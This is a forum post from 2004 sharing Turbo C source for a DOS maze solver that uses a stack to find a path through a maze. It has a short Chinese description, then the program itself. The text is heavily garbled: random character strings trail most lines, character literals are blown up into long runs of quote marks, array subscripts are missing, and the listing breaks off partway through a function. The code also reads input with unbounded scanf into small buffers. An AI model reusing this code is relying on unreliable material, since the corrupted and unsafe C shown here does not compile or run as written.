数学建模社区-数学中国

标题: C语言技术文章 [打印本页]

作者: 韩冰    时间: 2004-10-4 02:34
标题: C语言技术文章
<DIV  align=left>
! m+ C  P( _: D$ V- _8 Q6 C0 d< align=left>程序目的:7 G+ o+ `; x* l* `0 k! p. E: p
输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并
: ]! x4 _, A# j0 l显示在屏幕上。
: }2 w; _- G/ m( z# o" j程序实现:
: b! o/ h/ U% x! x8 E  S& E" b# S! _可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的
2 t% |( T- w3 E. z# ^文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载5 s  u* R0 U+ U6 r9 @) Q8 u6 j
入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫0 Q& N- W+ A9 w* g
时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。0 H/ j7 \% K  t
否则会出现错误信息。输入开始时全是墙,用上下左右键移动,
# W3 D, ?2 @  S: Z4 l/ u用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以
" V: p4 \( x5 P. r+ d7 r将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,5 [; c: g# F, F0 R. o; B
找到路径时,屏幕下方会出现Path found,否则出现Path not found。
9 l4 K4 X- U) D  \: m: l* g程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。* K1 Z; v, E; @( j+ [( o, m
不可以在VC上编译。
9 e4 K. @1 B! D- W1 B下载DOS版和windows版的迷宫游戏全部代码
6 w  P5 r3 |9 u( ^! ^: d2 _. w用户名:migong ; C; a$ A% w# `( v# i. I. f5 U4 @
----------------------------------------------------------------------------------% K( \$ _9 H# N6 }4 C- Q
/*  P7 O& R* D1 O9 y; d0 x
MazePath Demo BY Turbo C 2.04 }2 z/ ?7 h- B9 z/ A+ [
Copyright(c) RoverUnion. All right reserved.+ q& }* p. i6 S8 e/ _4 q
Filename: Maze.c
0 N$ G7 K& D  |4 C' c  f( E3 }Author Dongchengyu.- S+ w( ^' W+ ~" j! f1 k0 p: c% K
Ver 1.10; x$ i% S; V" n# m2 A/ e/ N! q$ V# P
*/
0 p& Q* K6 S" j% |1 j) j#include &lt;stdio.h&gt;
& X! S+ F' b( ^5 V4 y8 m#include &lt;stdlib.h&gt;
' K0 A+ W1 |9 X#include &lt;malloc.h&gt;( v; V: f) E7 f! I# u) v
#include &lt;conio.h&gt;
) ]) M! g8 @* y- M% G. t8 I#include &lt;dos.h&gt;
+ z( a3 H' ~' o: P& g1 X% N+ Z1 O#define OK 1, F& _; X; _" H* p, j
#define ERROR 0# Y: Q  v$ l6 R1 T/ c. T" u1 w8 Q
#define TRUE 1# |' b6 s2 g% M
#define FALSE 0
4 |5 a" D4 [+ ?  A9 S" s#define F9 0x43
2 R) f: N, w5 f1 u#define Esc 0x1b' u/ L% z$ E% ^: m( Q! y$ N$ y
#define Del 0x53
- H+ O% j8 _4 K+ U; P& m#define Home 0x477 I! U$ j- Q7 o: O* A# Z+ _
#define End 0x4f
. F: c0 t$ l% e) {& O# ^3 p#define Space 0x20
7 z# ?" S0 @% W  o" ^- h. p& C#define Up 0x48
- [& ?0 ^8 _+ a& I0 M' `" T3 b# f+ ?#define Down 0x50" h( [! ^( p0 p* e2 A$ i& J
#define Left 0x4b
1 B( R, t4 d: h7 O  J#define Right 0x4d  {9 [9 |6 l7 s
#define Enter 0x0d
( f& Z8 j. [" ]" ^- z; J8 e#define F2 0x3c- f! e8 ], g1 N
#define F3 0x3d, T2 S2 e7 f3 ^+ @- \' l9 u
#define STACK_INIT_SIZE 200
; b# ]6 t2 K- A0 ^. ]* |#define STACKINCREMENT 10
5 @+ m. m% @8 p! f' jtypedef int Boolean;6 a/ j) F, _9 V1 t
typedef int Status;
& v" x' K/ j, R% }typedef struct {1 z# a! ]1 [4 t/ Q" L
int x;
- n+ I+ ^$ V( x; O. v$ ?" I8 Xint y;
7 E" k3 V4 i- ?( n, J3 d+ P} PosType;
7 }: d& e$ r0 I. Gtypedef struct {, U; J3 U, x; S: @+ b2 V
int ord;
- W4 @7 R) C+ R3 zPosType seat;
( N. Y* @8 \0 |. Z* J. Hint di;
! z* B4 w* I9 C0 x3 {  ]} SElemType;, a2 T1 Y) s% j) [
typedef struct {
9 z% {6 W- z( }. W* }! Kint td;
- h* J. f) P/ b* q, r( [int foot;
" y; F, n8 z3 s. u- {int mark;; V) e5 C" S+ Y3 \1 F1 g) t, @
} MazeType;1 y+ b0 v4 q7 U: c
typedef struct {3 O- y4 p* M* p- l$ W( D
SElemType *base;
3 [! O& B( y3 n9 X! ?: ]3 k: sSElemType *top;
# v8 ^( N) l  e& F. e$ r0 rint stacksize;; j' p5 S! `6 P+ q7 z9 y/ e
} Stack;- x4 z% }6 G, Z6 c
int Maze[20][30];
5 c( H) [: a8 @5 b& A- @6 {7 D8 D' JMazeType maze[20][30];6 Z( m* X+ P6 g( O, n/ M% a
PosType StartPlace;! C7 j. Z( j$ m+ Z, [
PosType EndPlace;3 [5 J3 Z4 I4 p9 ?) H( J3 R
int count;5 V, e$ d- |5 D# G+ v6 x
int m,n;
4 j1 p3 ^! W6 e$ c- WBoolean b_start=FALSE,b_end=FALSE;# e8 `5 h1 w$ y9 q2 c, ~
void CreatMaze(void);# O& i5 }% m) D/ @. z
Status SaveMaze(char *filename);6 U/ K7 g! {4 ]2 U  z( P- n( M9 h6 O
Status LoadMaze(char *filename);
2 w& V3 G& m/ n  \& R0 D( gvoid Error(char *message);
' u( b: \: H' q3 P7 O5 F8 ~Status InitStack(Stack *s);6 f' C) B& l( k( G# B5 I! Z
Status DestroyStack(Stack *s);. K2 d- o6 C0 ]; R7 n! q7 m% @
Status ClearStack(Stack *s);  E# F$ w9 u3 B3 m
Boolean StackEmpty(Stack *s);" C0 s0 Z" o7 [  O2 ?2 {) e
int StackLength(Stack *s);
; Q+ x8 u  g5 k1 j. H6 \# eStatus Push(Stack *s,SElemType e);
) J: U* S  a# T4 {0 _SElemType Pop(Stack *s,SElemType e);' V6 s- m  |4 @5 w0 {, [
Status GetTop(Stack *s,SElemType *e);& r( A3 V5 I5 }1 J
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));6 z$ X3 \6 J& _0 B( P; y
Boolean Pass(PosType curpos);4 g- P  M) x: Q) H) W
void MarkPrint(PosType seat);
" q* E# }* |. s' \% N& ]void FootPrint(PosType curpos);0 h( n% k0 q- e% p/ y8 o3 [# L
PosType NextPos(PosType seat,int di);
; K1 q8 J: b+ w. }! y' f7 MStatus MazePath(PosType start,PosType end);
+ ^& A) _1 _" P5 S" ]3 [- Q1 G" Nvoid CreatMaze(void)5 t  J( ?$ a4 h
/* Form the maze. */
* L3 q7 F3 p. ]1 t; F6 [+ V; h{
2 @7 j4 r9 B% H2 w: x& h+ ?; d" C% uvoid Error(char *message);
, ~0 _6 d! S/ I, z/ a& d! Z. \0 x" ^Status SaveMaze(char *filename);
" _3 J5 w! `" @) {% k6 g& V7 FStatus LoadMaze(char *filename);
0 Y. v1 ~3 |2 K1 m# pint i,j;3 h1 a9 k) t* A6 h, l
int x,y;1 L$ K. l2 i' Q! z7 i
char c;
5 f9 ~- M  o1 K. j/ Q9 Ochar savename[12],loadname[12];* a1 D) T! r- s7 A  p/ E' o
Boolean flag=FALSE,load=FALSE;
6 c  `. b$ y" Y/ s# Q+ l: Bclrscr();( i# E% N3 W) ~/ k* m
printf("Menu:\n\n");# X" x; X8 E0 b+ G8 O3 d0 R3 H
printf("1.Load Mazefile*.dd)\n\n");5 D( Y# M' Y' }8 C2 @
printf("2.Input Maze:\n\n");: K- q0 `. H' Q& \% y( ]' m( F
printf("Input your choice: ");
- G# _1 Y' p, r& F1 i% D; y  Odo6 K. p0 K! w; A8 x5 Y
{
; X' y" `% b3 y' N( xc=getch();
' @( c4 I  P- \7 S1 `switch(c)
7 f. I, ]( h. ~; w1 i7 |9 F+ W3 [{& m3 b1 p! W* G( F" x; h
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;& q8 p# `; k! I- m* [7 i8 w4 X
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
7 T% h! l- E% {: d9 U- Acase Esc: sleep(1); exit(1);
* o3 L- M9 ^( ~5 r5 w  d0 ?default: break;
  q$ J3 L, K2 _}
" D$ t9 T9 K$ m7 g; S; `' |+ m}) }) z. |* B; g3 v) X0 {( {& o
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
& q% m' Q# S3 Z2 j/ v" i& y& g1 Vif(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')! N% f: c$ n; ]
{4 F* s) B! `5 Z  p1 h
printf("\n\nLoadName: ");6 ?- V' g0 z" u1 K, F' C
scanf("%s",loadname);# H4 R; s6 v( M
if(LoadMaze(loadname))
8 R8 L3 W, b, U+ t2 T9 M* h  f{; l1 C1 C7 L4 T: ]1 n
sleep(1); load=TRUE;) C( q6 o1 |' T* W' p
}* Q: I6 I1 e, y* Z3 t4 h
else { gotoxy(1,9); printf("Load fail! "); }- l! S0 ~. h! V2 D, @
}# Q1 s1 U/ s$ N2 l$ g2 p
if(!load)
; F6 Z0 l$ q) d4 }7 x6 ?. [{5 [$ [/ s, a- B# k( f! c) S3 Y
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
# M  l8 R1 L8 q: a! ]5 o/ tprintf("\nInput Length :\n");
! t+ D, f: U/ \  V# z# gscanf("%d",&amp;m);' `2 ?* z0 h7 `
printf("\nInput Width :\n");. ?2 J/ C4 ]. @! x9 }) L
scanf("%d",&amp;n);" R" w8 k8 \* K
if(m&lt;4||n&lt;4) Error("Input");
5 F) L0 U7 N6 Y7 n  K2 m8 i9 Rif(m&gt;30||n&gt;20) Error("Maze too large");- ^1 A" [8 ]+ T4 o# k4 J- `% a
for(i=0;i&lt;30;i++)& ?# Z! t$ F8 N; i
for(j=0;j&lt;20;j++)
) i. e. K+ T2 W, u$ Z% D% BMaze[j]=2;& q4 P6 y4 r, U$ @& w
StartPlace.x=0;
* s: C' A  x! fStartPlace.y=0;3 O* J6 T$ _* f% Q: D
EndPlace.x=0;
4 Q% v. D5 S$ Y8 I. wEndPlace.y=0;
) V2 t8 q& ^# H+ Vclrscr();- O& b: ?4 l: o$ |% ?+ I
printf("\n");3 P$ ^. {+ T+ Z
for(i=1;i&lt;=n;i++)# l- [& U: ^. M9 J1 K
{
* f4 N2 [2 b, `% I5 N- |1 S; Ofor(j=1;j&lt;=m;j++)
3 N) y0 v8 Z+ Y5 Y3 }! f2 H{' H9 A5 s0 `, B* {
printf(" #");6 i$ ?$ I; i# F. [' a, k" D+ y. m) @
Maze[i-1][j-1]=0;- D' f" ~1 }: C# U  f
}
$ Y, B" {9 W+ X3 o$ r0 o* R" Cprintf("\n");
/ d0 w6 ]4 i2 B! _; G" U( ^" m}8 H2 ?1 v3 f" v0 _- k/ F
}+ x% u- Y3 ?4 `2 ~5 F, ~
gotoxy(65,5);( N4 D9 R! e/ u, V( G
printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
' C) u/ Y2 o" z0 Jgotoxy(65,7);
3 K) a2 ?7 V! w( h: B9 m6 ]printf("Start:Home");4 I  F- {) w2 f! ?- x
gotoxy(65,9);
. g4 }1 f) m: dprintf("End:End");
1 P- R& E# t. s! d/ Qgotoxy(65,11);
# Y1 E8 K) Z# K- Y* y6 _7 _printf("Delete Wallel");
- h# s( R; b* a, b, H& lgotoxy(65,13);
& a5 s" g1 G" Y2 P( g3 \8 }" `printf("Enter Wall:Enter");
' Q$ p0 B/ G4 d* @$ Hgotoxy(65,15);
, l/ ~- Q6 \% m/ j" |) Uprintf("Save Maze:F2");/ q! h4 F0 n( }/ W9 r* g) O
gotoxy(65,17);7 d/ I7 A+ G$ Q0 K9 o
printf("Complete:F9");
. a( Q2 I  P" t) S1 d/ {% Qgotoxy(65,19);
/ I' X1 s1 F& Q; d: _) S& C* w& Qprintf("Exit:Esc");
8 H; R0 _7 }, u( F, e) O6 V# Igotoxy(4,3);
* [' e( o8 ~% [( h2 ax=4;y=3;
6 f5 a( P$ a' @1 T# x9 c* F! ddo$ X5 @. x: @- l$ P* D
{
0 z4 Q3 \% q* F% Qc=getch();
' k; A/ B0 a* c( Pswitch(c)
, x! _& C- q; c{
& Z9 |3 u3 X5 S3 c+ wcase Up: if(y&gt;3) { y--; gotoxy(x,y); }- V( ^* C) ?' U1 @  H" }1 N
break;
( B  c6 z+ h4 i0 V/ Fcase Down: if(y&lt;n) { y++; gotoxy(x,y); }0 N1 m7 ^7 K0 n! O
break;
" _  w9 R* D0 r0 x2 h3 e* W+ w3 Hcase Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
5 `$ L+ x  w( dbreak;1 a; R0 C! j& A5 h
case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
9 g4 c) ~1 u" ebreak;
" h& V8 i2 q, ?$ ^case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
0 X5 Q- i) k+ ^) h5 @if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
7 h( x2 \. x( x" f4 F5 l& pputch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
5 z/ N: S9 _) u; d: T8 w$ Y( Wbreak;
8 U* u/ {5 V1 i8 x  ccase Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
0 g8 Z& n6 g3 L- c+ y2 [' F! ^if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
' {5 U9 j( p) J" nputch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
6 D8 A; K. C' A4 S! ?break;
+ n1 ^' S2 b2 g& Ccase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)/ r) R' U- ?, q* X: m" o
{
$ q  n, q+ K7 V2 ?StartPlace.x=x/2-1;0 _7 y/ c' w8 w+ S  I
StartPlace.y=y-2;' T" ~. f, y6 b! ^; n, x& |* S& ^
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');1 i# C! {* u  t' Z5 t4 o  ]
gotoxy(x,y);5 Z3 }$ B0 F. M3 K9 x6 W
b_start=TRUE;' k6 `& p! o1 h8 Z9 [! t
}' y! H, i: q: n; o4 T3 P0 _- r/ x
break;" b* a/ K# D1 n3 f$ L8 A: b
case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
3 j4 X% z( R  H/ z# m1 ?{
+ h; S9 t, ]0 UEndPlace.x=x/2-1;
) n1 c* ]) J! X5 Y( @EndPlace.y=y-2;  g# r9 S6 T' A7 k& q
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');6 M9 O% H3 v: ^  S$ I, g2 l+ b  X
gotoxy(x,y);/ t9 d( j- r8 V' E8 b8 Y8 i# F
b_end=TRUE;
7 S8 q7 V8 C; R: `}+ Z7 F! W7 P) m+ Z) y+ a
break;
* m) k( w$ S8 f8 W, Fcase Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);: ]) @5 Z5 c- A- x* B( e" t3 V+ a
case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
6 B. g% I2 n9 o1 W2 l! Ncase F2: gotoxy(2,22);: G  B& K# K% C; [
printf("Savename:");+ v& ^4 a; n. E  Q3 P
scanf("%s",savename);
" @+ a% c7 X3 p0 z) H+ Xgotoxy(2,22);
, _4 ~. t% L# t" `: h) E0 Vif(SaveMaze(savename)) printf("Save OK! ");' E8 W8 Y1 I6 ~. D
else printf("Save fail! ");
) }2 D& s+ h+ A* D" }sleep(1);
) [3 R9 s; {8 I9 T3 x9 g0 [$ |gotoxy(2,22);: _! m" s( ~9 N0 o
printf(" ");6 w5 w# b3 [; m4 w
gotoxy(x,y);
/ ?* l- i3 K7 V, |# {break;/ N9 c% k3 C* @* e+ M6 e
default: break;! W! f* R- o9 @$ r9 g. n1 y
}
' A6 h0 y! i0 d: F}" ]6 V, Y5 n9 k! Q1 D  I" M
while(!flag);
3 F. ]$ n: q2 l; Z5 n5 hfor(i=0;i&lt;30;i++)+ p2 F- Y1 k% P1 l' y
for(j=0;j&lt;20;j++)8 j3 |% I. c/ p2 s. E1 T: x4 L
{$ T9 F, _; n& e- x* g2 r
maze[j].td=Maze[j];+ w; s* i, O7 `5 Y( T! D
maze[j].mark=0;) {) H3 V: ~0 ^  M* W- z9 m
maze[j].foot=0;3 a) a! k3 T' P" d( D1 L
}4 G7 N0 j( u: @7 a* l" L- G- F
}
0 i4 P# i& K. dStatus LoadMaze(char *file)* J5 w8 t/ K7 A0 e0 v4 a% E
/* The maze has been loaded. */
" J2 E6 n/ E. \- d: X& d; W+ ?{
7 O8 k) s5 c. j" B# k/ V8 ^5 t. UFILE *fp;3 v- U% s# ]8 j; F& o
char *buffer;" d2 B2 p# W( L8 E+ Q
char ch;. d* g8 g: E0 b2 A
int i=0,j,k;
  o/ S$ b) }; F% u5 aBoolean len=FALSE,wid=FALSE;
- t0 R: I% Y# J+ Pif((fp=fopen(file,"r"))==NULL)0 f# u/ X( [4 x$ S! f) |) {
return ERROR;
, R9 K$ ~* @. X- a# C: X+ V7 Gbuffer=(char *)malloc(600*sizeof(char));. B$ w# Q4 |4 H2 I+ `' _
ch=fgetc(fp);
( j- }6 |7 {! ^7 P4 t7 T  M: Swhile(ch!=EOF)
5 B* ^( X5 o" i/ u1 d{$ h# F' {* l3 P& u' v  I6 X
buffer=ch;5 u7 h+ e* ^6 u/ a! p
i++;  _4 }6 e; |; I: L
ch=fgetc(fp);7 y& Q; R0 W6 r* Y
}1 w0 q- @* y! ?: w& ?& W* Q0 h
m=30;n=20;
4 Z) m! _7 t: w* n# U7 Gfor(i=0;i&lt;600;i++)' N+ J6 j  z3 U& q! n6 q
{; S$ O7 p3 J7 g* y& n. D: z
j=i/30; k=i%30;* m6 R" `3 ^4 _' L" s
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }0 y; b8 K# O- }' x- E! j+ d* r# L( K
if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
+ F6 e( n) a* p/ F4 ?' aswitch(buffer)! C& t2 c5 ~2 H. x6 e
{
, M; w1 Q3 c' M& R* Vcase ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
6 z% g' n2 e& F2 |case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
5 e% `7 [" E1 ^. ycase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;# v7 a3 i$ l* S* W) k
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
. l0 G% c' D/ a. W& V  _- dStartPlace.x=k;, u5 A4 V' s# Q/ c
StartPlace.y=j;
4 }& u+ z. m5 U, B! |% t! i  ?9 `b_start=TRUE;
' I6 P, Z$ E% u1 @1 x. G0 _  C! ubreak;& l5 ~# U. }7 e
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;( W. R1 b5 ^9 x7 Z
EndPlace.x=k;: w" w9 O- S! r1 V* C0 T/ d
EndPlace.y=j;
9 _; z* v7 @3 d/ y" ^b_end=TRUE;
# k7 f. g* p8 x& ]5 n7 zbreak;
" A9 p! ^8 @1 U. Fdefault : break;" u6 H/ A$ O  @% K1 R
}
# L+ e: T) {$ F5 X2 N5 ^8 S}
8 y# G' I3 B% Efclose(fp);4 f: }+ Z2 B: ?! _
clrscr();
4 N8 n/ \5 F7 I5 b5 Yfor(i=0;i&lt;30;i++)
4 E/ s& m1 ]7 V3 k0 ffor(j=0;j&lt;20;j++)
/ I( H; C9 R; b{$ q/ ?/ I" @8 ]: V2 S- ^
maze[j].td=Maze[j];
$ O- p! k5 a. K; w  wmaze[j].foot=0;8 e0 M7 ^" G+ D% I
maze[j].mark=0;& j' k& l# K, l) f, ?
if(Maze[j]==0)
/ D0 [% N* q. ]! H7 _, m1 z{4 ^9 z# b. K* Y, K" B1 U" N2 j: }' E7 h2 T
gotoxy(2*i+2,j+2);7 n$ `6 \, e8 `  H4 m3 P9 A
putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');; K' h4 R+ E$ ^0 m
}
# ^9 m1 C" X' @  ~# }}# V; |+ J+ |. B% `
gotoxy(2*StartPlace.x+2,StartPlace.y+2);
, b7 k4 M. ^) X3 W9 h8 Y/ R" sputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');0 d' L4 V9 _6 Q/ [$ [$ g
gotoxy(2*EndPlace.x+2,EndPlace.y+2);2 ?% ^1 i& V- V6 A' e: E9 _
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
5 u6 K8 J; K( ]1 D% [  r& T, E  Yreturn OK;+ _( ?/ F. Y% e
}
1 i, F: ^/ u/ s' IStatus SaveMaze(char *filename)
5 Z9 L0 V. Y! w1 I& }4 `/* The maze has been saved. */
% V# D: i6 @: k/ _5 P2 u{
$ Y; k3 W1 J" i4 |; qFILE *fp;
, `7 L# n7 q+ J! s- Y6 L+ nchar *buffer;4 E' A9 Y* O" S' Y& m9 e/ O3 }
int i,j,k;8 R; w$ C- c' v  o, P! b: b$ ]
fp=fopen(filename,"wb");
  g$ }9 P5 Q& O% t8 J- ubuffer=(char *)malloc(600*sizeof(char));- R( i$ \' U8 L
for(i=0;i&lt;600;i++)6 ^/ P3 T- s, P. W2 g
{( |# t6 [; R( y3 j: S7 m$ j! R  f# E
j=i/30; k=i%30;$ c2 Y- i& M" Y  S& I
switch(Maze[j][k])" N; c" A4 [* r& H% h% `
{% w2 F0 P- m! r0 J) _
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
7 d1 s+ S* d! B3 H# X. acase 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
8 y' z' f8 f! }& r" O$ Y9 ~4 }case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
" Y4 F% S  T# B) X. V: {  h$ ydefault : Error("Write"); break;
+ }2 v( i6 \2 h* k: a, p# ^2 R9 q4 R}
3 P( d: k3 `* Xif(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
. |3 K6 L& S0 Vif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';! V! e% Q. Z. G" n* _
}
  ?+ I  `* G4 \# J3 G( q& Ifwrite(buffer,600,1,fp);" F% ]  t; q8 U0 d5 |1 `
free(buffer);
( Q. w$ U1 w0 J) ifclose(fp);: H, O7 P! W3 J6 R1 k/ P
return OK;- `' c  S% k4 z
}' `1 \* u% V0 B5 w# c& L, c2 Z
void Error(char *message)
$ I+ b8 x) j4 }& O. e{- D2 s/ F. I, D# f8 F4 m8 ]
clrscr();
: G# b6 `" O# F9 Wfprintf(stderr,"Error:%s\n",message);
$ R% G  [3 [2 `% c, yexit(1);
2 R5 z) R" W! b8 P% r. f1 ?} /* Error */
$ n$ v" U  k1 j8 Y- z* Y, F1 N
7 B% _& j" A, x$ L& NStatus InitStack(Stack *s)
) u% A) w& u+ s( q% S7 L/* The stack s has been created and is initialized to be empty. */
2 h+ B8 b- f  E. B+ G{+ t7 ^) l' H) A# ?6 l; _" \
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
1 M; N# m% y/ _if(!s-&gt;base) Error("Overflow");
: @. a6 m8 ~6 e5 |s-&gt;top=s-&gt;base;, n) k1 G; G6 J) ~, x& h
s-&gt;stacksize=STACK_INIT_SIZE;
7 f/ a+ N5 L! w* R9 F( lreturn OK;5 q* d$ D+ d' f- b/ Z
} /* InitStack */6 i. s7 m* b* f% p+ Q7 P
Status DestroyStack(Stack *s)
; \. Q+ c- B1 l/* The stack s has been destroyed. */
9 W+ n0 K+ g! i, S! a{7 U4 E7 k6 {( m$ B* b9 L" K
s-&gt;top=NULL;
9 T7 C$ a) w# {8 Qs-&gt;stacksize=0;
7 W9 G7 L" Y3 _6 `$ Afree(s-&gt;base);7 I# V, y/ Y$ |* t- l/ }
s-&gt;base=NULL;
! A5 C& \. B$ F" \, sreturn OK;
4 T9 A4 M' D6 Q7 m5 P+ V$ s7 ]} /* DestroyStack */3 [  }; ~/ i7 `( C& p4 d: w! E
Status ClearStack(Stack *s). J; z! J: v! p' }
/* The stack has been clear to be maximum. */, _- ^9 y' ^$ Y3 F9 H8 ~
{
# T+ x! k9 X' I1 n1 z5 i8 m& [/ Ns-&gt;top=s-&gt;base;
  {2 y8 q. i7 g: i: ts-&gt;stacksize=STACK_INIT_SIZE;
( {# i  ?4 X9 g# o+ N! yreturn OK;
& h2 A$ o! l# u  z} /* ClearStack */' f' Z2 @3 L% u. g9 s# b$ Y0 G7 t
Boolean StackEmpty(Stack *s)
, R7 i$ g/ H" z4 u/* Check if the stack s is empty. */
2 n! e) d! |" R! w: e! V8 |{
4 ~/ Q5 |. C' m- L# |if(s-&gt;top==s-&gt;base) return TRUE;% u7 G9 O- Q! h6 @/ @% q0 L
else return FALSE;
" D* c) b; e7 e' V- w} /* StackEmpty */
8 m5 j5 j: @9 zint StackLength(Stack *s)) g+ @3 N; i+ f6 E2 D
/* Gain the length of the stack s. */& r: F# J! j# F
{
& B" J+ Z% \) `7 Y4 y; K* {' @if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);3 ?+ M3 q! `9 ?$ B* q
else return 0;  r( P# m! A# w* o2 o! N! X
} /* StackLength */9 l" L8 h4 Z$ V" S
Status Push(Stack *s,SElemType e)
( L# w" x4 ^- h3 f% f: i3 u1 |/* The element e has been pushed into the stack s. */% X. y( U1 z% X( a
{' e' q$ O6 m2 n+ @# ~
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
" A3 T7 E+ s. o! d9 ?! h{' l' L9 C( I: \' o
s-&gt;base=(SElemType *)realloc(s-&gt;base,+ I+ U6 J1 v1 N1 j# G( @( O7 G( L6 v
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));
# Y8 a/ s0 H. P' r& |if(!s-&gt;base) Error("Overflow");3 V' Q5 a2 Y& B
s-&gt;top=s-&gt;base+s-&gt;stacksize;9 ], M( `, u' p/ O& R
s-&gt;stacksize+=STACKINCREMENT;
! b. o4 u! B* @6 P8 i}2 l* u+ Z4 @, K  h3 [8 \$ j# Q
*s-&gt;top++=e;
% }5 z9 z* c" N: n' x# b- Vreturn OK;: v3 c" V" c4 d4 `1 l4 V
} /* Push */3 p8 C( x9 ?& m
SElemType Pop(Stack *s,SElemType e)- \, X; Q' W6 x  j
/* The element e has been removed from the stack s. */2 z( i4 A% m+ A1 a# Z( X: b
{
. w. Y/ z8 E, Sif(s-&gt;top==s-&gt;base) Error("op");
( ^$ q. Q& m6 l; L; x' g& Le=*--s-&gt;top;
% P5 m. g+ J. G3 p$ h& a9 freturn e;
8 |* n6 `8 x* W& b} /* Pop */' J/ o* n5 H, a3 V& u4 T" A
Status GetTop(Stack *s,SElemType *e)
  `' T* c8 V0 O9 @% @& y4 a/* The element e has got to the top of the stack s.*/6 D8 G" s" m( @( @
{
! M- _5 a' K! R! j3 Iif(s-&gt;top==s-&gt;base) Error("GetTop");: J8 `2 J5 B0 m6 n$ T# \- _" P
*e=*(s-&gt;top-1);+ H2 R1 B' I' m: L6 C
return OK;
/ J5 g( `* h- ~2 X6 {, z$ }- o5 _  ]1 i} /* GetTop */
' k2 u+ _% w1 L/ W/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */; e& g/ `% ^; E" Z' {! ^
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
6 U: F7 \: J/ p4 S1 S  X{/ |* o- _8 N6 W7 d
SElemType p;
; ?3 G) W5 O% @" m/ g9 \/ d% Sint result;3 A2 Z6 L, s0 A
if(s-&gt;top==s-&gt;base) return ERROR;
5 E3 C9 O9 V. F& W+ a/ l8 Y* Hp=s-&gt;base;
) D3 O' V; ^4 r: }. E* \* awhile(!(p==s-&gt;top))) Y/ R0 C3 e2 U; D/ \
{; e. S: P0 g7 x/ `$ a
result=(*visit)(p);( _8 G) \+ L& r/ J7 a3 U
p++;
2 {3 h" x  z4 s' q. h( J9 \}6 y9 s. K* \& o1 @+ G* W2 s* e1 k" z$ h
return OK;; S$ i4 U1 i$ G* a& v# m
} */
5 H  I7 e: `2 LBoolean Pass(PosType curpos)& n  x' `: R: k* r# K0 Q* {
/* Check if the current position can be passed. */
! j6 H7 Q: L) R! z! }9 S) s/ }{
* l1 }1 p3 \$ p7 ]- dif(maze[curpos.x][curpos.y].td==1&amp;&amp;. D2 l& b% l7 q7 P7 t
maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
. E; o. C& j# O  V* e1 f% {' z) Ureturn TRUE;
6 }7 P6 i* E( p* ?/ }7 k. S" Yelse return FALSE;
